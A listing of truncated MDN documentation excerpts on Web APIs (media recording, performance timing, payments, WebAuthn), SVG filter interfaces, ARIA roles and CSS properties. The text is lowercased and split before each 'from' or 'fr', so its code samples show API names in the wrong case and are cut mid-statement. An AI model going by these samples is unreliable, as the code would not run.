framerate : 48 // number of
frames making up that 1s.
MediaDecodingConfiguration - Web APIs
examples //create media configuration to be tested const mediaconfig = { type : 'file', // or 'media-source' video : { contenttype : "video/webm;codecs=vp8", // valid content type width : 800, // width of the video height : 600, // height of the video bitrate : 10000, // number of bits used to encode 1s of video
framerate : 30 // number of
frames making up that 1s.
MediaRecorder() - Web APIs
this source media can come
from a stream created using navigator.mediadevices.getusermedia() or
from an <audio>, <video> or <canvas> element.
MediaRecorder.start() - Web APIs
then, each time that amount of media has been recorded, an event will be delivered to let you act upon the recorded media, while a new blob is created to record the next slice of the media assuming the mediarecorder's state is inactive, start() sets the state to recording, then begins capturing media
from the input stream.
MediaSession.setPositionState() - Web APIs
example in this example, a player for a non-standard media file format, written in javascript, uses setinterval() to establish a callback which fires once per second to re
fresh the position information by calling setpositionstate().
MediaSettingsRange - Web APIs
example the following example, extracted
from chrome's image capture / photo resolution sample, uses the results
from getphotocapabilities().imagewidth to modify the size of an input range.
MediaSource.MediaSource() - Web APIs
example the following snippet is taken
from a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) var video = document.queryselector('video'); var asseturl = '
frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info
frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed video.src = url.cre...
MediaSource.addSourceBuffer() - Web APIs
example the following snippet is
from a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) var asseturl = '
frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info
frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasou...
MediaSource.isTypeSupported() - Web APIs
example the following snippet is
from an example written by nick desaulniers (view the full demo live, or download the source for further investigation.) var asseturl = '
frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info
frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = ...
MediaSource.readyState - Web APIs
example the following snippet is
from a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else ...
MediaStream.ended - Web APIs
this property has been removed
from the specification; you should instead rely on the ended event or check the value of mediastreamtrack.readystate to see if its value is "ended" for the track or tracks you want to ensure have finished playing.
PaymentResponse.onpayerdetailchange - Web APIs
const options = { requestshipping: true, requestpayeremail: true, requestpayername: true, requestpayerphone: true, }; const request = new paymentrequest(methods, details, options); const response = request.show(); // get the data
from the response let { payername: oldpayername, payeremail: oldpayeremail, payerphone: oldpayerphone, } = response; // set up a handler for payerdetailchange events, to // request corrections as needed.
PaymentResponse: payerdetailchange event - Web APIs
const options = { requestshipping: true, requestpayeremail: true, requestpayername: true, requestpayerphone: true, }; const request = new paymentrequest(methods, details, options); const response = request.show(); // get the data
from the response let { payername: oldpayername, payeremail: oldpayeremail, payerphone: oldpayerphone, } = response; // set up a handler for payerdetailchange events, to // request corrections as needed.
PaymentResponse.retry() - Web APIs
syntax retrypromise = paymentrequest.retry(errorfields); parameters errorfields a paymentvalidationerrors object, with the following properties: error optional a general description of a payment error
from which the user may attempt to recover by retrying the payment, possibly after correcting mistakes in the payment information.
PaymentValidationErrors - Web APIs
properties error optional a general description of a payment error
from which the user may attempt to recover by retrying the payment, possibly after correcting mistakes in the payment information.
Pbkdf2Params - Web APIs
however, it's advisable to transition away
from it everywhere, so unless you need to use sha-1, don't.
performance.clearResourceTimings() - Web APIs
the clearresourcetimings() method removes all performance entries with an entrytype of "resource"
from the browser's performance data buffer and sets the size of the performance data buffer to zero.
performance.measure() - Web APIs
performance.measure("measure a to b", markernamea, markernameb); performance.measure("measure a to now", markernamea); performance.measure("measure
from navigation start to b", undefined, markernameb); performance.measure("measure
from the start of navigation to now"); // pull out all of the measurements.
performance.now() - Web APIs
bear in mind the following points: in dedicated workers created
from a window context, the value in the worker will be lower than performance.now() in the window who spawned that worker.
PerformanceEntry.duration - Web APIs
the value returned by this property depends on the performance entry's type: "
frame" - returns a timestamp indicating the difference between the starttimes of two successive
frames.
PerformanceEntry.entryType - Web APIs
performance entry type names value subtype type of name property description of name property
frame, navigation performance
frametiming, performancenavigationtiming url the document's address.
PerformanceEntry.name - Web APIs
value subtype entrytype values description url performance
frametiming, performancenavigationtiming
frame, navigation the document's address.
PerformanceNavigationTiming.toJSON() - Web APIs
syntax json = resourceperfentry.tojson(); arguments none return value json a json object that is the serialization of the performancenavigationtiming object as a map with entries
from the closest inherited interface and with entries for each of the serializable attributes.
PerformanceObserver() - Web APIs
example var observer = new performanceobserver(function(list, obj) { var entries = list.getentries(); for (var i=0; i < entries.length; i++) { // process "mark" and "
frame" events } }); observer.observe({entrytypes: ["mark", "
frame"]}); function perf_observer(list, observer) { // process the "measure" event } var observer2 = new performanceobserver(perf_observer); observer2.observe({entrytypes: ["measure"]}); specifications specification status comment performance timeline level 2the definition of 'performanceobserver()' in that s...
PerformanceObserver.takeRecords() - Web APIs
example var observer = new performanceobserver(function(list, obj) { var entries = list.getentries(); for (var i=0; i < entries.length; i++) { // process "mark" and "
frame" events } }); observer.observe({entrytypes: ["mark", "
frame"]}); var records = observer.takerecords(); console.log(records[0].name); console.log(records[0].starttime); console.log(records[0].duration); specifications specification status comment performance timeline level 2the definition of 'takerecords()' in that specification.
PerformanceObserver - Web APIs
the performance observer's callback function will be invoked when a performance entry is recorded for one of the specified entrytypes performanceobserver.disconnect() stops the performance observer callback
from receiving performance entries.
PerformanceObserverEntryList.getEntries() - Web APIs
perfentries = list.getentriesbyname("begin", "mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } // print entries with type "mark" perfentries = list.getentriesbytype("mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to all performance event types observe_all.observe({entrytypes: ['
frame', 'mark', 'measure', 'navigation', 'resource', 'server']}); var observe_
frame = new performanceobserver(function(list, obs) { var perfentries = list.getentries(); // should only have '
frame' entries for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to
frame event only observe_
frame.observe({entrytypes: ['
frame']}); specifications ...
PerformanceObserverEntryList.getEntriesByName() - Web APIs
perfentries = list.getentriesbyname("begin", "mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } // print entries with type "mark" perfentries = list.getentriesbytype("mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to all performance event types observe_all.observe({entrytypes: ['
frame', 'mark', 'measure', 'navigation', 'resource', 'server']}); var observe_
frame = new performanceobserver(function(list, obs) { var perfentries = list.getentries(); // should only have '
frame' entries for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to only the '
frame' event observe_
frame.observe({entrytypes: ['
frame']}); specificat...
PerformanceResourceTiming.redirectEnd - Web APIs
when fetching a resource, if there are multiple http redirects, and any of the redirects have an origin that is different
from the current document, and the timing allow check algorithm passes for each redirected resource, this property returns the time immediately after receiving the last byte of the response of the last redirect; otherwise, zero is returned.
PerformanceResourceTiming.redirectStart - Web APIs
if there are http redirects when fetching the resource and if any of the redirects are not
from the same origin as the current document, but the timing allow check algorithm passes for each redirected resource, this property returns the starting time of the fetch that initiates the redirect; otherwise, zero is returned.
PerformanceResourceTiming.toJSON() - Web APIs
syntax json = resourceperfentry.tojson(); arguments none return value json a json object that is the serialization of the performanceresourcetiming object as a map with entries
from the closest inherited interface and with entries for each of the serializable attributes.
PerformanceServerTiming - Web APIs
{ const headers = { 'server-timing': ` cache;desc="cache read";dur=23.2, db;dur=53, app;dur=47.2 `.replace(/\n/g, '') }; response.writehead(200, headers); response.write(''); return settimeout(_ => { response.end(); }, 1000) }; http.createserver(requesthandler).listen(3000).on('error', console.error); the performanceservertiming entries are now observable
from javascript via the performanceresourcetiming.servertiming property: let entries = performance.getentriesbytype('resource'); console.log(entries[0].servertiming); // 0: performanceservertiming {name: "cache", duration: 23.2, description: "cache read"} // 1: performanceservertiming {name: "db", duration: 53, description: ""} // 2: performanceservertiming {name: "app", duration: 47.2, description...
PerformanceTiming.requestStart - Web APIs
the legacy performancetiming.requeststart read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, when the browser sent the request to obtain the actual document,
from the server or
from a cache.
PerformanceTiming.responseEnd - Web APIs
the legacy performancetiming.responseend read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, when the browser received the last byte of the response, or when the connection is closed if this happened first,
from the server
from a cache or
from a local resource.
PerformanceTiming.responseStart - Web APIs
the legacy performancetiming.responsestart read-only property returns an unsigned long long representing the moment in time (in milliseconds since the unix epoch) when the browser received the first byte of the response
from the server, cache, or local resource.
Using Performance Timeline - Web APIs
tentriesbyname("begin", "mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } // print entries with type "mark" perfentries = list.getentriesbytype("mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to all performance event types observe_all.observe({entrytypes: ['
frame', 'mark', 'measure', 'navigation', 'resource', 'server']}); // create observer for just the "mark" event type var observe_mark = new performanceobserver(function(list, obs) { var perfentries = list.getentries(); // should only have 'mark' entries for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to only the 'mark' e...
Performance Timeline - Web APIs
besides the performanceobserver's interface's observe() method (which is used to register the entry types to observe), the performanceobserver interface also has a disconnect() method that stops an observer
from receiving further events.
Permissions API - Web APIs
interfaces navigator.permissions and workernavigator.permissions read only provides access to the permissions object
from the main context and worker context respectively.
imageWidth - Web APIs
browser compatibility the compatibility table on this page is generated
from structured data.
PluginArray - Web APIs
pluginarray.re
fresh re
freshes all plugins on the current page, optionally reloading documents.
ProgressEvent() - Web APIs
syntax progressevent = new progressevent(type, {lengthcomputable: abooleanvalue, loaded: anumber, total: anumber}); arguments the progressevent() constructor also inherits arguments
from event().
PublicKeyCredentialCreationOptions.authenticatorSelection - Web APIs
examples var publickey = { authenticatorselection:{ authenticatorattachment: "cross-platform", requireresidentkey: true, userverification: "required" }, challenge: new uint8array(26) /* this actually is given
from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation re...
PublicKeyCredentialCreationOptions.excludeCredentials - Web APIs
examples var publickey = { excludecredentials: [ { type: "public-key", // the id for john.doe@example.com id : new uint8array(26) /* this actually is given by the server */ }, { type: "public-key", // the id for john-doe@example.com id : new uint8array(26) /* another id */ } ], challenge: new uint8array(26) /* this actually is given
from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation re...
PublicKeyCredentialCreationOptions.pubKeyCredParams - Web APIs
examples var publickey = { pubkeycredparams: [ // we would like an elliptic curve to be used if possible { type: "public-key", alg: -7 }, // if not, then we will fallback on an rsa algorithm { type: "public-key", alg: -37 } ], challenge: new uint8array(26) /* this actually is given
from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", } }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with...
PublicKeyCredentialCreationOptions.rp - Web APIs
examples var publickey = { challenge: /*
from the server */, rp: { name: "example corp", id : "login.example.com", icon: "https://login.example.com/login.ico" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) ...
PublicKeyCredentialCreationOptions.timeout - Web APIs
challenge: new uint8array(26) /* this actually is given
from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send ...
PublicKeyCredentialCreationOptions.user - Web APIs
examples var publickey = { challenge: new uint8array(26) /* this actually is given
from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { // to be changed for each user id: new uint8array.
from(window.atob("laegmlkjnrlkgnamlafalfka="), c=>c.charcodeat(0)); name: "jdoe@example.com", displayname: "john doe", icon: "https://gravatar.com/avatar/jdoe.png" }, pubkeycredparams: [ { type: "public-key", alg...
PublicKeyCredentialCreationOptions - Web APIs
of cose algorithms const cose_alg_ecdsa_w_sha256 = -7; const cose_alg_ecdsa_w_sha512 = -36; var createcredentialoptions = { // format of new credentials is publickey publickey: { // relying party rp: { name: "example corp", id: "login.example.com", icon: "https://login.example.com/login.ico" }, // cryptographic challenge
from the server challenge: new uint8array(26), // user user: { id: new uint8array(16), name: "john.p.smith@example.com", displayname: "john p.
PublicKeyCredentialRequestOptions.allowCredentials - Web APIs
examples var options = { allowcredentials: [ { transports: ["usb"], type: "public-key", id: new uint8array(26) // actually provided by the server }, { transports: ["internal"], type: "public-key", id: new uint8array(26) // actually provided by the server } ], challenge: new uint8array([/* bytes sent
from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing publ...
SVGAnimatedString.animVal - Web APIs
syntax var = object.animval specifications specification status comment scalable vector graphics (svg) 1.1 (second edition) recommendation scalable vector graphics (svg) 2 candidate recommendation browser compatibility the compatibility table on this page is generated
from structured data.
SVGAnimatedString.baseVal - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition) recommendation scalable vector graphics (svg) 2 candidate recommendation browser compatibility the compatibility table on this page is generated
from structured data.
SVGDocument - Web APIs
svg document interface when an "svg" element is embedded inline as a component of a document
from another namespace, such as when an "svg" element is embedded inline within an xhtml document, then an svgdocument object will not exist; instead, the root object in the document object hierarchy will be a document object of a different type, such as an htmldocument object.
SVGFEBlendElement - Web APIs
properties this interface also inherits properties
from its parent interface, svgelement, and implements properties of svgfilterprimitivestandardattributes.
SVGFEColorMatrixElement - Web APIs
properties this interface also inherits properties
from its parent interface, svgelement , and also implements properties of svgfilterprimitivestandardattributes.
SVGFEComponentTransferElement - Web APIs
width="290" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="336" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfecomponenttransferelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent interface, svgelement, and implements properties of svgfilterprimitivestandardattributes.
SVGFECompositeElement - Web APIs
properties this interface also inherits properties
from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
SVGFEConvolveMatrixElement - Web APIs
properties this interface also inherits properties
from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
SVGFEDiffuseLightingElement - Web APIs
5" width="270" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="346" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfediffuselightingelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
SVGFEDisplacementMapElement - Web APIs
properties this interface also inherits properties
from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
SVGFEDistantLightElement - Web APIs
="65" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="361" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfedistantlightelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent interface, svgelement.
SVGFEDropShadowElement - Web APIs
y="65" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="371" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfedropshadowelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
SVGFEFuncAElement - Web APIs
0" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="6" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfefuncaelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface not provide any specific properties, but inherits properties
from its parent interface, svgcomponenttransferfunctionelement.
SVGFEFuncBElement - Web APIs
0" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="6" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfefuncbelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface not provide any specific properties, but inherits properties
from its parent interface, svgcomponenttransferfunctionelement.
SVGFEFuncGElement - Web APIs
0" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="6" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfefuncgelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface not provide any specific properties, but inherits properties
from its parent interface, svgcomponenttransferfunctionelement.
SVGFEFuncRElement - Web APIs
0" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="6" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfefuncrelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface not provide any specific properties, but inherits properties
from its parent interface, svgcomponenttransferfunctionelement.
SVGFEGaussianBlurElement - Web APIs
properties this interface also inherits properties
from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
SVGFEImageElement - Web APIs
"311" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfeimageelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent interface, svgelement, and implements properties of svgfilterprimitivestandardattributes and svgurireference.
SVGFEMergeElement - Web APIs
fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfemergeelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface not provide any specific properties, but inherits properties
from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
SVGFEMergeNodeElement - Web APIs
" y="65" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfemergenodeelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent interface, svgelement.
SVGFEMorphologyElement - Web APIs
properties this interface also inherits properties
from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
SVGFEOffsetElement - Web APIs
301" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfeoffsetelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
SVGFEPointLightElement - Web APIs
y="65" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="371" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfepointlightelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent interface, svgelement.
SVGFESpecularLightingElement - Web APIs
" width="280" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="341" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfespecularlightingelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
SVGFESpotLightElement - Web APIs
" y="65" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfespotlightelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent interface, svgelement.
SVGFETileElement - Web APIs
="321" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfetileelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
ARIA: Comment role - Accessibility
i think the cowbell could distract
from the solo.</p> <p><time datetime="2019-03-30t21:02">march 30 2019, 21:02</time></p> </div> </div> accessibility concerns landmark roles are intended to be used sparingly, to identify larger overall sections of the document.
ARIA: document role - Accessibility
assistive technologies should switch context back to document mode, possibly intercepting
from controls rewired for the parent's dynamic context, re-enabling the standard input events, such as up or down arrow keyboard events, to control the reading cursor.
ARIA: figure role - Accessibility
</figure> generally, you should reference the figure
from the main text, but the figure need not be displayed at the same location as the referencing element.
ARIA: gridcell role - Accessibility
lowing example creates a table-style grouping of information: <h3 id="table-title">jovian gas giant planets</h3> <div role="grid" aria-describedby="table-title"> <div role="rowgroup"> <div role="row"> <div role="columnheader">name</div> <div role="columnheader">diameter (km)</div> <div role="columnheader">length of day (hours)</div> <div role="columnheader">distance
from sun (10<sup>6</sup>km)</div> <div role="columnheader">number of moons</div> </div> </div> <div role="rowgroup"> <div role="row"> <div role="gridcell">jupiter</div> <div role="gridcell">142,984</div> <div role="gridcell">9.9</div> <div role="gridcell">778.6</div> <div role="gridcell">67</div> </div> </div> <div role="rowgroup"> <div rol...
ARIA: Main role - Accessibility
if a document contains two main roles, say updating page content when triggered by javascript, the inactive main role's presence should be removed
from assistive technology via techniques such as toggling the hidden attribute.
ARIA: rowgroup role - Accessibility
le="rowgroup"> <div role="row"> <span role="columnheader" aria-sort="descending">country</span> <span role="columnheader"aria-sort="none">population</span> </div> </div> <div role="rowgroup"> <div role="row"> <span role="cell">finland</span> <span role="cell">5.5 million</span> </div> <div role="row"> <span role="cell">
france</span> <span role="cell">67 million</span> </div> </div> </div> description rowgroup establishes a relationship between owned row elements and is a structural equivalent to the thead, tfoot and tbody elements in html.
Alerts - Accessibility
the function is simple: it looks for an element with id “alert”, and if found, removes that
from the document object model.
overview - Accessibility
general resources dhtml style guide provides keyboard interaction recommendations wai-aria authoring practices guide checkbox aria toggle button and tri-state checkbox examples (
from "the paciello group blog") aria example checkbox widgets
from the university of illinois menu using wai-aria roles and states with the yui menu control slider
from the paciello group blog: aria slider, part one, part two, part threet (example) creating an accessible, internationalized dojo rating widget tabs enhancing tabview accessibility with wai-aria roles and states,
from the yui blog enhancing the jquery ui tabs accordingly to wcag 2.0 and...
Linear-gradient Generator - CSS: Cascading Style Sheets
rtcut(axis); var axisid = this.getattribute('axisid') | 0; activateaxis(axisid); }); axis.addeventlistener('dragstart', function (e) { dragelem = this; e.datatransfer.setdata('axisid', this.getattribute('axisid')); }); axis.addeventlistener('dragover', allowdropevent); axis.addeventlistener('drop', function swap(e) { if (dragelem === this) return; var
from = getorderid(e.datatransfer.getdata('axisid')); var to = getorderid(this.getattribute('axisid')); var swap = lg_axes[
from]; lg_axes[
from] = lg_axes[to]; lg_axes[to] = swap; var left = dragelem.offsetleft; dragelem.style.left = this.offsetleft + 'px'; this.style.left = left + 'px'; updatecssgradient(); }); activateaxisshortcut(axis); return axis; };...
WebKit CSS extensions - CSS: Cascading Style Sheets
-webkit-alt* -webkit-color-correction -webkit-flow-
from -webkit-flow-into -webkit-grid-columns (see grid-column) -webkit-grid-rows (see grid-row) -webkit-hyphenate-charset -webkit-image-set (see image-set()) -webkit-mask-attachment -webkit-match-nearest-mail-blockquote-color -webkit-overflow-scrolling -webkit-region-break-after -webkit-region-break-before -webkit-region-break-inside -webkit-region-
fragment -webkit-shape-inside -webkit-...
align-content - CSS: Cascading Style Sheets
syntax /* basic positional alignment */ /* align-content does not take left and right values */ align-content: center; /* pack items around the center */ align-content: start; /* pack items
from the start */ align-content: end; /* pack items
from the end */ align-content: flex-start; /* pack flex items
from the start */ align-content: flex-end; /* pack flex items
from the end */ /* normal alignment */ align-content: normal; /* baseline alignment */ align-content: baseline; align-content: first baseline; align-content: last baseline; /* distributed alignment */ align-content...
align-items - CSS: Cascading Style Sheets
syntax /* basic keywords */ align-items: normal; align-items: stretch; /* positional alignment */ /* align-items does not take left and right values */ align-items: center; /* pack items around the center */ align-items: start; /* pack items
from the start */ align-items: end; /* pack items
from the end */ align-items: flex-start; /* pack flex items
from the start */ align-items: flex-end; /* pack flex items
from the end */ /* baseline alignment */ align-items: baseline; align-items: first baseline; align-items: last baseline; /* overflow alignment (for positional alignment only) */ align-items: safe center; align-items: unsafe center;...
all - CSS: Cascading Style Sheets
body { font-size: small; background-color: #f0f0f0; color:blue; } blockquote { background-color: skyblue; color: red; } blockquote { all: inherit; } the <blockquote> doesn't use the browser default styling: it is a block element now (inherited value
from its containing <body> element), its background-color is #f0f0f0 (inherited value), its font-size is small (inherited value) and its color is blue (inherited value).
background-clip - CSS: Cascading Style Sheets
see "the backgrounds of special elements." note: for documents whose root element is an html element: if the computed value of background-image on the root element is none and its background-color is transparent, user agents must instead propagate the computed values of the background properties
from that element’s first html <body> child element.
border-block-start - CSS: Cascading Style Sheets
formal definition initial valueas each of the properties of the shorthand:border-width: as each of the properties of the shorthand:border-top-width: mediumborder-right-width: mediumborder-bottom-width: mediumborder-left-width: mediumborder-style: as each of the properties of the shorthand:border-top-style: noneborder-right-style: noneborder-bottom-style: noneborder-left-style: nonecolor: varies
from one browser to anotherapplies toall elementsinheritednocomputed valueas each of the properties of the shorthand:border-width: as each of the properties of the shorthand:border-bottom-width: the absolute length or 0 if border-bottom-style is none or hiddenborder-left-width: the absolute length or 0 if border-left-style is none or hiddenborder-right-width: the absolute length or 0 if border-right...
border-bottom-style - CSS: Cascading Style Sheets
-style: dotted; border-bottom-style: dashed; border-bottom-style: solid; border-bottom-style: double; border-bottom-style: groove; border-bottom-style: ridge; border-bottom-style: inset; border-bottom-style: outset; /* global values */ border-bottom-style: inherit; border-bottom-style: initial; border-bottom-style: unset; the border-bottom-style property is specified as a single keyword chosen
from those available for the border-style property.
border-collapse - CSS: Cascading Style Sheets
syntax /* keyword values */ border-collapse: collapse; border-collapse: separate; /* global values */ border-collapse: inherit; border-collapse: initial; border-collapse: unset; the border-collapse property is specified as a single keyword, which may be chosen
from the list below.
border-image-repeat - CSS: Cascading Style Sheets
syntax /* keyword value */ border-image-repeat: stretch; border-image-repeat: repeat; border-image-repeat: round; border-image-repeat: space; /* vertical | horizontal */ border-image-repeat: round stretch; /* global values */ border-image-repeat: inherit; border-image-repeat: initial; border-image-repeat: unset; the border-image-repeat property may be specified using one or two values chosen
from the list of values below.
color - CSS: Cascading Style Sheets
webaim: color contrast checker mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.3 | w3c understanding wcag 2.0 formal definition initial valuevaries
from one browser to anotherapplies toall elements.
column-gap (grid-column-gap) - CSS: Cascading Style Sheets
<div></div> </div> css #flexbox { display: flex; height: 100px; column-gap: 20px; } #flexbox > div { border: 1px solid green; background-color: lime; flex: auto; } result grid layout html <div id="grid"> <div></div> <div></div> <div></div> </div> css #grid { grid-column-gap: 20px; } #grid { display: grid; height: 100px; grid-template-columns: repeat(3, 1
fr); grid-template-rows: 100px; column-gap: 20px; } #grid > div { border: 1px solid green; background-color: lime; } result multi-column layout html <p class="content-box"> this is some multi-column text with a 40px column gap created with the css `column-gap` property.
column-width - CSS: Cascading Style Sheets
the actual column width may differ
from the specified value: it may be wider when necessary to fill available space, and narrower when the available space is too small.
contain - CSS: Cascading Style Sheets
this property is useful on pages that contain a lot of widgets that are all independent, as it can be used to prevent each widget's internals
from having side effects outside of the widget's bounding-box.
